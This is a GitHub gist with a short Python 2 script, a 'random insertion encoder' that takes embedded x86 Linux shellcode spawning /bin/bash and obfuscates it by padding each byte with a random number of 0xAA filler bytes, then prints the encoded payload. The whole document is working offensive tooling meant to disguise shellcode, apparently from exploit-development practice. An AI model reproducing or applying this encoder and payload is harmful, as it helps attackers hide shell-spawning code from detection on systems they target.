Last active
February 5, 2019 09:00
-
-
Save AdityaChaudhary/fdff4ef8657536f74071beaf615c1e26 to your computer and use it in GitHub Desktop.
Python script to Encode the assembly shellcode
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Python Random Insertion Encoder | |
# Author: Aditya Chaudhary | |
# Date: 5th Feb 2019 | |
import random | |
shellcode = ("\x31\xc0\x50\x89\xe2\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80") | |
encoded = "" | |
encoded2 = "" | |
print 'Encoded shellcode ...' | |
repeat = 0 | |
for x in bytearray(shellcode) : | |
repeat = random.randint(1, 5) | |
#print "[#]"+str(repeat) | |
encoded += '\\x' | |
encoded += '%02x' % x | |
encoded += '\\x' | |
encoded += '%02x'% repeat | |
encoded2 += '0x' | |
encoded2 += '%02x,' % x | |
encoded2 += '0x' | |
encoded2 += '%02x,' % repeat | |
for i in range(1, repeat+1): | |
#print i | |
encoded += '\\x%02x' % 0xAA | |
# encoded += '\\x%02x' % random.randint(1,255) | |
encoded2 += '0x%02x,' % 0xAA | |
# encoded2 += '0x%02x,' % random.randint(1,255) | |
print encoded | |
print encoded2 | |
print 'Len: %d' % len(bytearray(shellcode)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment